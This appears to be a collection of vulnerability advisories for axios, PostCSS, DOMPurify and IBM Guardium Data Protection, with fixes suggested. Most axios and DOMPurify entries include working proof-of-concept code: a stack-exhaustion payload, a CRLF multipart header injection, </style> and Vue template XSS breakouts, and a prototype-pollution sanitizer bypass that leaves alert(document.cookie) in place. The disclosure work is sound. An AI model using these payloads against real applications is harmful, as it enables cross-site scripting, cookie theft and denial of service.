Details lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
PoC js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data';
function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; }
try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded
Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
Impact A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
Summary
When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.
Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.
So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.
PoC
Environment: - Axios main at commit f7a4ee2 - Node v24.2.0
Steps:
1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully.
Observed: - Success; full 2097152 bytes readable.
Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.
Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.
Summary
For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.
Details
Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.
This creates a path-specific bypass for streamed uploads.
### PoC
Environment:
- Axios main at commit f7a4ee2 - Node v24.2.0
Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0
Observed: - Request succeeds; server reports received: 2097152.
Control checks: - Same stream with default/nonzero redirects: rejected with ERRFRMAXBODYLENGTHEXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERRBADREQUEST.
### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.
Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.
Attack chain:
1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate
This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.
PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) const http = require('http'); const axios = require('axios');
let receivedBody = '';
const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); });
server.listen(0, '127.0.0.1', async () => { const port = server.address().port;
class SpecFormData { constructor() { this.entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this.entries.push([name, value]); } Symbol.iterator { return this.entriesSymbol.iterator; } entries() { return this.entriesSymbol.iterator; } }
const fd = new SpecFormData();
fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function() { yield Buffer.from('MALICIOUS PAYLOAD'); } });
await axios.post(http://127.0.0.1:${port}/upload, fd);
if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOTVULNERABLE]'); }
server.close(); });
Steps to reproduce:
1. npm install axios 2. Save the above as pocaxioscrlf.js 3. Run node pocaxioscrlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body
Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.
Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.
Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF};
PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary
PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
Proof of Concept
javascript const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }'; const ast = postcss.parse(userCSS); const output = ast.toResult().css; const html = <style>${output}</style>;
console.log(html); // <style>body { content: "</style><script>alert(1)</script><style>"; }</style> // // Browser: </style> closes the style tag, <script> executes
Tested output (Node.js v22, postcss v8.5.5): Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true
Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Suggested Fix
Escape </style in all stringified output values: javascript output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits Discovered and reported by Sunil Kumar (@TharVid)
IBM Guardium Data Protection 12.0, 12.1, and 12.2 is vulnerable to Security Misconfiguration vulnerability in the user access control panel.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 is vulnerable to a Bypass Business Logic vulnerability in the access management control panel.
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBIDTAGS and FORBIDATTR handling when function-based ADDTAGS is used. Commit c361baa added an early exit for FORBIDATTR at line 1214. The same fix was not applied to FORBIDTAGS. At line 1118-1123, when EXTRAELEMENTHANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBIDTAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
Summary
| Field | Value | |:------|:------| | Severity | Medium | | Affected | DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db) |
SAFEFORTEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURNDOM or RETURNDOMFRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.
Technical Details
DOMPurify strips template expressions in two passes:
1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):
js // pass #1: runs on every text node during tree walk if (SAFEFORTEMPLATES && currentNode.nodeType === NODETYPE.text) { content = currentNode.textContent; content = content.replace(MUSTACHEEXPR, ' '); // {{...}} -> ' ' content = content.replace(ERBEXPR, ' '); // <%...%> -> ' ' content = content.replace(TMPLITEXPR, ' '); // ${... -> ' ' currentNode.textContent = content; }
2. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.
The RETURNDOM path returns before pass #2 ever runs (purify.ts:1637-1661):
js // purify.ts (simplified)
if (RETURNDOM) { // ... build returnNode ... return returnNode; // <-- exits here, pass #2 never runs }
// pass #2: only reached by string-mode callers if (SAFEFORTEMPLATES) { serializedHTML = serializedHTML.replace(MUSTACHEEXPR, ' '); } return serializedHTML;
The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:
1. Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it 2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text 3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes
Reproduce
Open the following html in any browser and alert(1) pops up.
html <!DOCTYPE html> <html>
<body> <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script> <script> var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>'; var dom = DOMPurify.sanitize(dirty, { SAFEFORTEMPLATES: true, RETURNDOM: true }); document.body.appendChild(dom.firstChild); new Vue({ el: '#app' }); </script> </body>
</html>
Impact
Any application that sanitizes attacker-controlled HTML with SAFEFORTEMPLATES: true and RETURNDOM: true (or RETURNDOMFRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.
Recommendations
Fix
normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURNDOM and RETURNDOMFRAGMENT.
diff if (RETURNDOM) { + if (SAFEFORTEMPLATES) { + body.normalize(); + let html = body.innerHTML; + arrayForEach([MUSTACHEEXPR, ERBEXPR, TMPLITEXPR], (expr: RegExp) => { + html = stringReplace(html, expr, ' '); + }); + body.innerHTML = html; + } + if (RETURNDOMFRAGMENT) { returnNode = createDocumentFragment.call(body.ownerDocument);
Summary
DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses DOMPurify.sanitize() with the default configuration (no CUSTOMELEMENTHANDLING option), a prior prototype pollution gadget can inject permissive tagNameCheck and attributeNameCheck regex values into Object.prototype, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.
Affected Versions
- 3.0.1 through 3.3.3 (current latest) — all affected - 3.0.0 and all 2.x versions — NOT affected (used Object.create(null) for initialization, no || {} reassignment) - The vulnerable || {} reassignment was introduced in the 3.0.0→3.0.1 refactor - This is distinct from GHSA-cj63-jhhr-wcxv (USEPROFILES Array.prototype pollution, fixed in 3.3.2) - This is distinct from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (depth prototype pollution, fixed in 3.1.3)
Root Cause
In purify.js at line 590, during config parsing:
javascript CUSTOMELEMENTHANDLING = cfg.CUSTOMELEMENTHANDLING || {};
When no CUSTOMELEMENTHANDLING is specified in the config (the default usage pattern), cfg.CUSTOMELEMENTHANDLING is undefined, and the fallback {} is used. This plain object inherits from Object.prototype.
Lines 591-598 then check cfg.CUSTOMELEMENTHANDLING (the original config property) — which is undefined — so the conditional blocks that would set tagNameCheck and attributeNameCheck from the config are never entered.
As a result, CUSTOMELEMENTHANDLING.tagNameCheck and CUSTOMELEMENTHANDLING.attributeNameCheck resolve via the prototype chain. If an attacker has polluted Object.prototype.tagNameCheck and Object.prototype.attributeNameCheck with permissive values (e.g., /./), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.
Impact
- Attack type: XSS bypass via prototype pollution chain - Prerequisites: Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget) - Config required: Default. No special DOMPurify configuration needed. The standard DOMPurify.sanitize(userInput) call is affected. - Payload: Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization
Proof of Concept
javascript // Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application Object.prototype.tagNameCheck = /./; Object.prototype.attributeNameCheck = /./;
// Step 2: Application sanitizes user input with DEFAULT config const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');
// Step 3: "Sanitized" output still contains the event handler console.log(clean); // Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">
// Step 4: When injected into DOM, XSS executes document.body.innerHTML = clean; // alert() fires
Tested configurations that are vulnerable:
| Call Pattern | Vulnerable? | |---|---| | DOMPurify.sanitize(input) | YES | | DOMPurify.sanitize(input, {}) | YES | | DOMPurify.sanitize(input, { CUSTOMELEMENTHANDLING: null }) | YES | | DOMPurify.sanitize(input, { CUSTOMELEMENTHANDLING: {} }) | NO (explicit object triggers L591 path) |
Suggested Fix
Change line 590 from: javascript CUSTOMELEMENTHANDLING = cfg.CUSTOMELEMENTHANDLING || {};
To: javascript CUSTOMELEMENTHANDLING = cfg.CUSTOMELEMENTHANDLING || create(null);
The create(null) function (already used elsewhere in DOMPurify, e.g., in clone()) creates an object with no prototype, preventing prototype chain inheritance.
Alternative application-level mitigation:
Applications can protect themselves by always providing an explicit CUSTOMELEMENTHANDLING in their config:
javascript DOMPurify.sanitize(input, { CUSTOMELEMENTHANDLING: { tagNameCheck: null, attributeNameCheck: null } });
Timeline
- 2026-04-04: Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project) - 2026-04-04: Confirmed in Chrome browser with DOMPurify 3.3.3 - 2026-04-04: Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801 - 2026-04-04: Advisory drafted, responsible disclosure initiated
Credit
https://github.com/trace37labs
IBM Guardium Data Protection 12.1 is vulnerable to cross-site scripting. This vulnerability allows an administrative user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
IBM Guardium Data Protection 12.1 is vulnerable to stored cross-site scripting. This vulnerability allows an administrative user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
IBM Guardium Data Protection 12.1 could allow an administrative user to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to write arbitrary files on the system.
Last updated 6 June 2026
Last updated 13 May 2026